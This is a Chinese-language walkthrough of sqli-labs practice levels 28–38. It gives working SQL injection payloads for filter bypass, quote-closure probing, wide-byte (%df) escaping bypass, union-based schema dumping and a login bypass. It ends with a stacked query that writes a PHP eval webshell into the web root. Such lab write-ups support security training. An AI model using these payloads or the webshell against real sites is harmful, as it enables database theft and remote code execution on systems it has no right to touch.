【sql-labs】闯关记录28~38
【less-28】过滤union%0aselect
测试流程
?id=1') and%0a'1'=('1 #成功回显
?id=1') and%0a'1'=('2 #会显失败
#测试回显字段
?id=232323') %0aunion%0aselect%0a1,2,3%0aand%0a'1'=('1
#发现union%0aselect被过滤了
#于是混淆双写,成功绕过
?id=232323') %0auniunion%0aselecton%0aselect%0a1,2,3%0aand%0a'1'=('1
#查询数据库名
?id=232323') %0auniunion%0aselecton%0aselect%0a1,database(),3%0aand%0a'1'=('1
#查询表名
?id=232323') %0auniunion%0aselecton%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0a where%0a table_schema=database()and%0a'1'=('1
#接下来查字段名、字段值依次类推
核心代码
小结
闭合方式为(’’)
过滤了union%0aselect,直接双写绕过即可
【less-28a】关闭了错误回显
说是盲注,但依然可以回显,用上一关的payload依然可以
核心代码
如图所示过滤掉了union%0aselect
【less-29】世界最好的防火墙
嗯?到底用了什么过滤策略,敢说是全世界最好的防火墙?
测试流程
?id=1 #成功回显
?id=1' #直接报错
?id=1' and 1=1%23 #成功回显
?id=1' order by 3 #成功回显
?id=1' order by 4 #回显失败,说明主查询字段数为3
?id=1' and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()%23
#暴数据库名,数据库表
#接下来暴字段名,字段值
没有任何过滤字符,还好意思说自己是世界上最好的防火墙 |=_=|
【less-30】世界上最好的防火墙
测试流程
?id=1 #回显正常
?id=1' #依然回显正常
?id=1" #回显异常,说明有可能是"闭合
?id=1" and 1=1%23 #回显正常
?id=1" order by 3%23 #order by测试出主查询字段数为3
?id=1" and 1=2 union select 1,2,3%23 #测试出回显点为2,3
#然后暴数据库名、表名、字段名、字段值,和以前套路一样
小结
与上一关相比,只是闭合方式不同。这防火墙真不靠谱|=_=|
【less-31】世界上最好的WAF
测试流程
?id=1 #回显正常
?id=1' #回显正常
?id=1" #直接报错,说明闭合方式可能是"
?id=1" and 1=1--+ #依然报错
?id=1") and 1=1--+ #回显成功
?id=1") and 1=2 union select 1,2,database()--+ #暴数据库名
#接下来暴表名、字段名、字段值等和之前一样
小结
和上一关相比只是闭合方式不同"),这个全世界最好的WAF也不咋地|=_=|
【less-32】宽字节注入
测试流程
?id=1' #发现'被注释
?id=1%df' #单引号直接逃逸,导致报错
?id=1%df' and 1=1%23 #回显正常
?id=1%df' and 1=2%23 #回显异常
#然后剩下就是order by字段数,查数据库名、查表名、查字段名、查字段值
核心代码
如图所示,分别对反斜线、单引号和双引号进行了转义,本来就比较安全了,但是关键在于下面一句:
将接收的参数用宽字节gbk去解释,所以造成宽字节注入。
【less-33】宽字节注入
测试流程
?id=1 #回显正常
?id=1' #回显正常,发现单引号被转义
?id=1%df' and 1=1%23 #回显正常
#接下来步骤和之前一样
核心代码
小结
与上一关不同的是,这一关用了addslashes()函数过滤,实质效果一样。
【less-34】post宽字节注入
是一个表单,首先尝试万能密码登录
结果失败,发现单引号被转义了。
于是考虑一波宽字节注入:
成功登录!
【less-35】数字型注入
虽然用了addslashes()函数做了转义,但是为数字型注入,根本不妨碍注入,直接绕过。
【less-36】宽字节注入
关于宽字节注入原理请参照文章传送门
【less-37】post宽字节注入
相比于less-34关只是转义的函数不同,实质效果一样。
less-34:
less-37:
【less-38】堆叠注入
写入webshell
?id=1';select '<?php @eval($_POST[x])?>' into outfile 'D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\test.php'%23
用菜刀连接:
成功!
写入webshell条件:
1、知道网站上可以写的绝对路径
2、该目录有写入权限
3、数据库开启了secure_file_priv权限